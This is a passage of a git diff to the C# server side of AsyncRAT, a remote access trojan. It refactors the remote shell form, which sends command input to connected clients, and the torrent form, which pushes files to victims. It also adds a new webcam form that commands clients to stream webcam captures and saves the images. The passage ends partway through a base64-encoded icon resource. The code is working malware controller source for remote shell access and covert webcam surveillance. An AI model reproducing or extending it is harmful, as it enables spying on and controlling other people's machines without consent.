Color.Green; - isOK = true; + IsOK = true; if (comboBox1.SelectedIndex == 0) { try { new ReferenceLoader().AppDomainSetup(O.FileName); - isOK = true; + IsOK = true; } catch { toolStripStatusLabel1.ForeColor = Color.Red; toolStripStatusLabel1.Text += " Invalid!"; - isOK = false; + IsOK = false; } } } @@ -74,20 +74,20 @@ namespace Server { toolStripStatusLabel1.Text = ""; toolStripStatusLabel1.ForeColor = Color.Black; - isOK = true; + IsOK = true; } } private void button2_Click(object sender, EventArgs e) { - if (isOK) + if (IsOK) this.Hide(); } private void Button3_Click(object sender, EventArgs e) { - isOK = false; + IsOK = false; this.Hide(); } } diff --git a/AsyncRAT-C#/Server/Forms/FormShell.cs b/AsyncRAT-C#/Server/Forms/FormShell.cs index f248765..a4fd079 100644 --- a/AsyncRAT-C#/Server/Forms/FormShell.cs +++ b/AsyncRAT-C#/Server/Forms/FormShell.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.ComponentModel; @@ -17,7 +17,7 @@ namespace Server.Forms public partial class FormShell : Form { public Form1 F { get; set; } - internal Clients C { get; set; } + internal Clients Client { get; set; } public FormShell() { @@ -41,7 +41,7 @@ namespace Server.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "shellWriteInput"; msgpack.ForcePathObject("WriteInput").AsString = textBox1.Text; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); textBox1.Clear(); } } @@ -51,12 +51,16 @@ namespace Server.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "shellWriteInput"; msgpack.ForcePathObject("WriteInput").AsString = "exit"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } private void Timer1_Tick(object sender, EventArgs e) { - if (!C.ClientSocket.Connected) this.Close(); + try + { + if (!Client.TcpClient.Connected) this.Close(); + } + catch { this.Close(); } } private void Label1_Click(object sender, EventArgs e) diff --git a/AsyncRAT-C#/Server/Forms/FormTorrent.cs b/AsyncRAT-C#/Server/Forms/FormTorrent.cs index d1456ce..c919bb8 100644 --- a/AsyncRAT-C#/Server/Forms/FormTorrent.cs +++ b/AsyncRAT-C#/Server/Forms/FormTorrent.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.ComponentModel; @@ -16,7 +16,7 @@ namespace Server.Forms { public partial class FormTorrent : Form { - private bool isOk = false; + private bool IsOk = false; public FormTorrent() { InitializeComponent(); @@ -29,12 +29,12 @@ namespace Server.Forms if (openFileDialog.ShowDialog() == DialogResult.OK) { textBox1.Text = openFileDialog.FileName; - isOk = true; + IsOk = true; } else { textBox1.Text = ""; - isOk = false; + IsOk = false; } } @@ -45,17 +45,21 @@ namespace Server.Forms private void Button2_Click(object sender, EventArgs e) { - if (!isOk) return; - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "torrent"; - msgpack.ForcePathObject("Option").AsString = "seed"; - msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(textBox1.Text)); - foreach (ListViewItem itm in Program.form1.listView1.SelectedItems) + try { - Clients client = (Clients)itm.Tag; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + if (!IsOk) return; + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "torrent"; + msgpack.ForcePathObject("Option").AsString = "seed"; + msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(textBox1.Text)); + foreach (ListViewItem itm in Program.form1.listView1.SelectedItems) + { + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + this.Close(); } - this.Close(); + catch (Exception ex) { MessageBox.Show(ex.Message); } } } } diff --git a/AsyncRAT-C#/Server/Forms/FormWebcam.Designer.cs b/AsyncRAT-C#/Server/Forms/FormWebcam.Designer.cs new file mode 100644 index 0000000..4c01aeb --- /dev/null +++ b/AsyncRAT-C#/Server/Forms/FormWebcam.Designer.cs @@ -0,0 +1,195 @@ +namespace Server.Forms +{ + partial class FormWebcam + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormWebcam)); + this.panel1 = new System.Windows.Forms.Panel(); + this.comboBox1 = new System.Windows.Forms.ComboBox(); + this.btnSave = new System.Windows.Forms.Button(); + this.button1 = new System.Windows.Forms.Button(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.timer1 = new System.Windows.Forms.Timer(this.components); + this.timerSave = new System.Windows.Forms.Timer(this.components); + this.labelWait = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.numericUpDown1 = new System.Windows.Forms.NumericUpDown(); + this.panel1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.Transparent; + this.panel1.Controls.Add(this.label1); + this.panel1.Controls.Add(this.numericUpDown1); + this.panel1.Controls.Add(this.comboBox1); + this.panel1.Controls.Add(this.btnSave); + this.panel1.Controls.Add(this.button1); + this.panel1.Dock = System.Windows.Forms.DockStyle.Top; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(799, 41); + this.panel1.TabIndex = 3; + // + // comboBox1 + // + this.comboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.comboBox1.Enabled = false; + this.comboBox1.FormattingEnabled = true; + this.comboBox1.Location = new System.Drawing.Point(71, 7); + this.comboBox1.Name = "comboBox1"; + this.comboBox1.Size = new System.Drawing.Size(272, 28); + this.comboBox1.TabIndex = 6; + // + // btnSave + // + this.btnSave.BackgroundImage = global::Server.Properties.Resources.save_image; + this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.btnSave.Enabled = false; + this.btnSave.Location = new System.Drawing.Point(568, 4); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(32, 32); + this.btnSave.TabIndex = 5; + this.btnSave.UseVisualStyleBackColor = true; + this.btnSave.Click += new System.EventHandler(this.BtnSave_Click); + // + // button1 + // + this.button1.BackgroundImage = global::Server.Properties.Resources.play_button; + this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.button1.Enabled = false; + this.button1.Location = new System.Drawing.Point(12, 4); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(32, 32); + this.button1.TabIndex = 0; + this.button1.Tag = "play"; + this.button1.UseVisualStyleBackColor = true; + this.button1.Click += new System.EventHandler(this.Button1_Click); + // + // pictureBox1 + // + this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.pictureBox1.Location = new System.Drawing.Point(0, 41); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(799, 532); + this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pictureBox1.TabIndex = 5; + this.pictureBox1.TabStop = false; + // + // timer1 + // + this.timer1.Interval = 1000; + this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); + // + // timerSave + // + this.timerSave.Interval = 1000; + this.timerSave.Tick += new System.EventHandler(this.TimerSave_Tick); + // + // labelWait + // + this.labelWait.AutoSize = true; + this.labelWait.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelWait.Location = new System.Drawing.Point(319, 273); + this.labelWait.Name = "labelWait"; + this.labelWait.Size = new System.Drawing.Size(78, 29); + this.labelWait.TabIndex = 6; + this.labelWait.Text = "Wait..."; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(374, 10); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(78, 20); + this.label1.TabIndex = 8; + this.label1.Text = "QUALITY"; + // + // numericUpDown1 + // + this.numericUpDown1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.numericUpDown1.Enabled = false; + this.numericUpDown1.Increment = new decimal(new int[] { + 10, + 0, + 0, + 0}); + this.numericUpDown1.Location = new System.Drawing.Point(458, 8); + this.numericUpDown1.Minimum = new decimal(new int[] { + 20, + 0, + 0, + 0}); + this.numericUpDown1.Name = "numericUpDown1"; + this.numericUpDown1.Size = new System.Drawing.Size(82, 26); + this.numericUpDown1.TabIndex = 7; + this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left; + this.numericUpDown1.Value = new decimal(new int[] { + 50, + 0, + 0, + 0}); + // + // FormWebcam + // + this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(799, 573); + this.Controls.Add(this.labelWait); + this.Controls.Add(this.pictureBox1); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "FormWebcam"; + this.Text = "FormWebcam"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormWebcam_FormClosed); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + private System.Windows.Forms.Panel panel1; + public System.Windows.Forms.ComboBox comboBox1; + public System.Windows.Forms.PictureBox pictureBox1; + public System.Windows.Forms.Button btnSave; + public System.Windows.Forms.Button button1; + public System.Windows.Forms.Timer timer1; + private System.Windows.Forms.Timer timerSave; + public System.Windows.Forms.Label labelWait; + private System.Windows.Forms.Label label1; + public System.Windows.Forms.NumericUpDown numericUpDown1; + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormWebcam.cs b/AsyncRAT-C#/Server/Forms/FormWebcam.cs new file mode 100644 index 0000000..a904c02 --- /dev/null +++ b/AsyncRAT-C#/Server/Forms/FormWebcam.cs @@ -0,0 +1,124 @@ +using Server.MessagePack; +using Server.Connection; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Server.Forms +{ + public partial class FormWebcam : Form + { + public Form1 F { get; set; } + internal Clients Client { get; set; } + internal Clients ParentClient { get; set; } + public string FullPath { get; set; } + + public Stopwatch sw = Stopwatch.StartNew(); + public Stopwatch RenderSW = Stopwatch.StartNew(); + public int FPS = 0; + public bool SaveIt = false; + public FormWebcam() + { + InitializeComponent(); + } + + private void Button1_Click(object sender, EventArgs e) + { + try + { + if (button1.Tag == (object)"play") + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("Command").AsString = "capture"; + msgpack.ForcePathObject("List").AsInteger = comboBox1.SelectedIndex; + msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + button1.Tag = (object)"stop"; + button1.BackgroundImage = Properties.Resources.stop__1_; + numericUpDown1.Enabled = false; + comboBox1.Enabled = false; + } + else + { + button1.Tag = (object)"play"; + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("Command").AsString = "stop"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + button1.BackgroundImage = Properties.Resources.play_button; + btnSave.BackgroundImage = Properties.Resources.save_image; + numericUpDown1.Enabled = true; + comboBox1.Enabled = true; + timerSave.Stop(); + } + } + catch { } + } + + private void Timer1_Tick(object sender, EventArgs e) + { + try + { + if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected) this.Close(); + } + catch { this.Close(); } + } + + private void FormWebcam_FormClosed(object sender, FormClosedEventArgs e) + { + try + { + Client?.Disconnected(); + } + catch { } + } + + private void BtnSave_Click(object sender, EventArgs e) + { + if (button1.Tag == (object)"stop") + { + if (SaveIt) + { + SaveIt = false; + //timerSave.Stop(); + btnSave.BackgroundImage = Properties.Resources.save_image; + } + else + { + btnSave.BackgroundImage = Properties.Resources.save_image2; + try + { + if (!Directory.Exists(FullPath)) + Directory.CreateDirectory(FullPath); + Process.Start(FullPath); + } + catch { } + SaveIt = true; + // timerSave.Start(); + } + } + } + + private void TimerSave_Tick(object sender, EventArgs e) + { + try + { + if (!Directory.Exists(FullPath)) + Directory.CreateDirectory(FullPath); + pictureBox1.Image.Save(FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", ImageFormat.Jpeg); + } + catch { } + } + } +} diff --git a/AsyncRAT-C#/Server/Forms/FormWebcam.resx b/AsyncRAT-C#/Server/Forms/FormWebcam.resx new file mode 100644 index 0000000..e5b63af --- /dev/null +++ b/AsyncRAT-C#/Server/Forms/FormWebcam.resx @@ -0,0 +1,583 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + 131, 17 + + + + + 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 + O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt + 2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx + AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx + AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919 + AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx + AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff + wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19 + ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg + x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt + Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx + AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp + Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919 + AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+ + /P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19 + AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V + tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D + DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19 + AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19 + AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx + AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx + AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA3X0AAN19AADdfQAI3X0ANd19AIXafADZx3MA3sNxAI3DcQA7w3EAC8NxAADDcQAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/4H/AP4AfwD8AD8A8AAPAMAAAwDAAAMAwAABAIAAAQCAAAEAgAABAIAA + AQCAAAEAgAABAIAAAQCAAAEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAADAPgAHwD/AP8AKAAAACAA + AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3n0AQdp8AL3IcwDKwnEAT8NxAAfDcQAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAB3X0AKN19AI/dfQDo23wA/8dzAP/DcQDvw3EAncNx + ADLDcQACw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHrdfQDe3X0A/919AP/bfAD/x3MA/8Nx + AP/DcQD/w3EA5sNxAIjDcQAjw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGPdfQDP3X0A/d19AP/dfQD/3X0A/9t8 + AP/HcwD/w3EA/8NxAP/DcQD/w3EA/sNxANnDcQByw3EAF8NxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACd19AE7dfQC93X0A+d19AP/dfQD/3X0A/919 + AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPzDcQDIw3EAW8NxAA3DcQAAw3EAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0ABN19ADrdfQCo3X0A8919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD4w3EAtcNx + AEfDcQAHw3EAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAN19ACPdfQCS3X0A6919AP/cewD/3HsA/9x7 + AP/dfAD/3X0A/919AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8NxAP/DcQD/w3EA/8NwAP/CbwD/wm8A/8Jv + AP/DcQD/w3EA8cNxAKDDcQAuw3EAAMNxAAAAAAAAAAAAAN19AADdfQAA3X0Akd19AP/dfAD/4IgV/+qx + Zv/stW7/67Rt/+KRKf/dfAD/3X0A/919AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcAD/yoMh/9ys + a//drm7/3Kxq/8qBHP/DcAD/w3EA/8NxAKvDcQAEw3EAAAAAAAAAAAAA3X0AAN19AATdfQCv3X0A/918 + AP/fhhH/9+DC////////////8cmV/919Af/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8Nw + AP/huYH////////////05tL/yYAb/8NwAP/DcQD/w3EAx8NxAA7DcQAAAAAAAAAAAADdfQAA3X0ADd19 + AMXdfQD/3X0A/917AP/rsWf///79///////67d3/4o4j/918AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8Nx + AP/DcAD/yH0X//Tkz////////////+C1fP/CcAD/w3EA/8NxAP/DcQDaw3EAGsNxAAAAAAAAAAAAAN19 + AADdfQAZ3X0A2N19AP/dfQD/3XwA/+GLHP/56dP////////+/v/rs2r/3HsA/919AP/dfQD/23wA/8dz + AP/DcQD/w3EA/8JvAP/XoVf//vz6///////47uH/zIcp/8JwAP/DcQD/w3EA/8NxAOnDcQAqw3EAAAAA + AAAAAAAA3X0AAN19ACndfQDo3X0A/919AP/dfQD/3XwA/+69fv////////////bdvf/fhhL/3oAF/96A + Bv/bfwb/yHYG/8R0Bv/EdAX/xncM/+vQrP///////////+bDk//DcQL/w3EA/8NxAP/DcQD/w3EA9MNx + AD7DcQAAAAAAAAAAAADdfQAA3X0APN19APPdfQD/3X0A/919AP/dfAD/45Iq//vw4v///////vr2//be + v//12bX/9dm1//TZtf/v1rX/7ta1/+7Wtf/v2bv//Pjy///////79e3/0JE6/8JvAP/DcQD/w3EA/8Nx + AP/DcQD8w3EAVcNxAAAAAAAAAAAAAN19AADdfQBT3X0A+919AP/dfQD/3X0A/919AP/dfgL/8cmW//// + /////////////////////////////////////////////////////////////+vQqv/EdAf/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQBuw3EAAMNxAADdfQAA3X0AAN19AGvdfQD/3X0A/919AP/dfQD/3X0A/917 + AP/lmzz//fbu/////////////vr1//337//99/D//Pfw//v28P/8+fT////////////9+vb/1ZxP/8Jv + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAIfDcQAAw3EAAN19AADdfQAA3X0Ahd19AP/dfQD/3X0A/919 + AP/dfQD/3X0A/96ACP/01Kz////////////z0KT/5Jcz/+KXNP/SkDT/zowy/+TAjv////////////Db + v//GeQ//w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAocNxAAHDcQAA3X0AAN19AADdfQCf3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3XsA/+ilUP/++/b///////jmzv/ghxj/2nkA/8ZxAP/Fdgz/7ti5//// + ///+/fz/26ll/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQC4w3EAB8NxAADdfQAA3X0AB919 + ALbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfAD/34UQ//ffwP///////v37/+msXP/aegD/xnEA/9KW + RP/8+PL///////Tm0v/Jfxv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAM3DcQARw3EAAN19 + AADdfQAQ3X0AzN19AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/6rBm///+/P//////9diy/9yA + Cf/HcwL/58aZ////////////4LZ9/8NwAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA38Nx + AB/DcQAA3X0AAN19AB3dfQDe3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918AP/gihv/+ejS//// + 